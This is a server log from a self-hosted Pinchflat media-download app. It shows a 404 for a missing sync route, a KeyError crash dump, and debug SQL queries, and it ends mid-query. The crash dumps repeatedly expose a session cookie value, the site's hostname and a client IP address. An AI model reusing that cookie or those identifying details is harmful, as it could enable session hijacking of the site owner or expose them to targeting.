path: "/sources/3/sync_files_on_disk", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48936}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163157.0>, params: %{}, path_info: ["sources", "3", "sync_files_on_disk"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "158.69.55.82"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "158.69.55.82"} ], request_path: "/sources/3/sync_files_on_disk", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dT-l_JPuSVvoAFpuh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163156.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/sync_files_on_disk", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48936}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163156.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/sync_files_on_disk", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48936}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163157.0>, params: %{}, path_info: ["sources", "3", "sync_files_on_disk"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [ (truncated) 17:53:44.947 [info] GET /sources/3 17:53:44.947 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"delete_files" => "true", "id" => "3"} Pipelines: [:browser] 17:53:44.947 [debug] QUERY OK source="sources" db=0.1ms idle=102.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:53:44.948 [debug] QUERY OK source="media_profiles" db=0.1ms idle=98.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:53:44.950 [debug] QUERY OK source="tasks" db=2.4ms idle=98.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [3, "executing", "available", "scheduled", "retryable"] 17:53:44.950 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=13.2ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [17068] 17:53:44.951 [debug] QUERY OK source="settings" db=0.1ms idle=13.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:44.951 [debug] QUERY OK source="settings" db=0.0ms idle=3.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:44.952 [debug] QUERY OK source="settings" db=0.0ms idle=3.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:44.953 [debug] QUERY OK source="sources" db=0.1ms idle=2.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:53:44.953 [debug] QUERY OK source="media_items" db=0.2ms idle=2.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 17:53:44.954 [debug] QUERY OK source="media_items" db=0.3ms idle=2.5ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 17:53:44.954 [debug] QUERY OK source="sources" db=0.1ms idle=2.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:53:44.955 [debug] QUERY OK source="media_items" db=0.1ms idle=2.7ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [3] 17:53:44.955 [debug] QUERY OK source="media_items" db=0.2ms idle=1.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 17:53:44.956 [debug] QUERY OK source="sources" db=0.1ms idle=2.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:53:44.956 [debug] QUERY OK source="media_items" db=0.2ms idle=2.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [3] 17:53:44.957 [debug] QUERY OK source="media_items" db=0.3ms idle=2.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 17:53:44.959 [info] Sent 200 in 12ms 17:53:45.060 [info] GET /sources/3/sync_files_on_disk 17:53:45.061 [debug] QUERY OK source="settings" db=0.2ms idle=106.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:45.061 [debug] QUERY OK source="settings" db=0.1ms idle=106.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:45.061 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:53:45.062 [error] #PID<0.163161.0> running PinchflatWeb.Endpoint (connection #PID<0.163160.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /sources/3/sync_files_on_disk ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163160.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/sync_files_on_disk", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48346}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163161.0>, params: %{}, path_info: ["sources", "3", "sync_files_on_disk"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "158.69.55.82"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "158.69.55.82"} ], request_path: "/sources/3/sync_files_on_disk", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dT_DcOhSflzUAABVG"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163160.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/sync_files_on_disk", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48346}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163160.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/sync_files_on_disk", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48346}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163161.0>, params: %{}, path_info: ["sources", "3", "sync_files_on_disk"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [ (truncated) 17:53:47.426 [info] {"source":"oban","duration":1170,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:54:00.089 [info] {"source":"oban","duration":229,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:54:17.428 [info] {"source":"oban","duration":1298,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:54:47.430 [info] {"source":"oban","duration":1013,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:55:00.090 [info] {"source":"oban","duration":175,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:55:17.432 [info] {"source":"oban","duration":1071,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:55:19.307 [info] GET / 17:55:19.307 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 17:55:19.307 [debug] QUERY OK source="settings" db=0.1ms idle=619.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:55:19.307 [debug] QUERY OK source="media_profiles" db=0.1ms idle=620.1ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 17:55:19.308 [debug] QUERY OK source="sources" db=0.1ms idle=620.3ms SELECT count(s0."id") FROM "sources" AS s0 [] 17:55:19.308 [debug] QUERY OK source="media_items" db=0.3ms idle=620.5ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 17:55:19.308 [debug] QUERY OK source="media_items" db=0.3ms idle=436.4ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 17:55:19.309 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:55:19.309 [debug] QUERY OK source="settings" db=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:55:19.310 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", 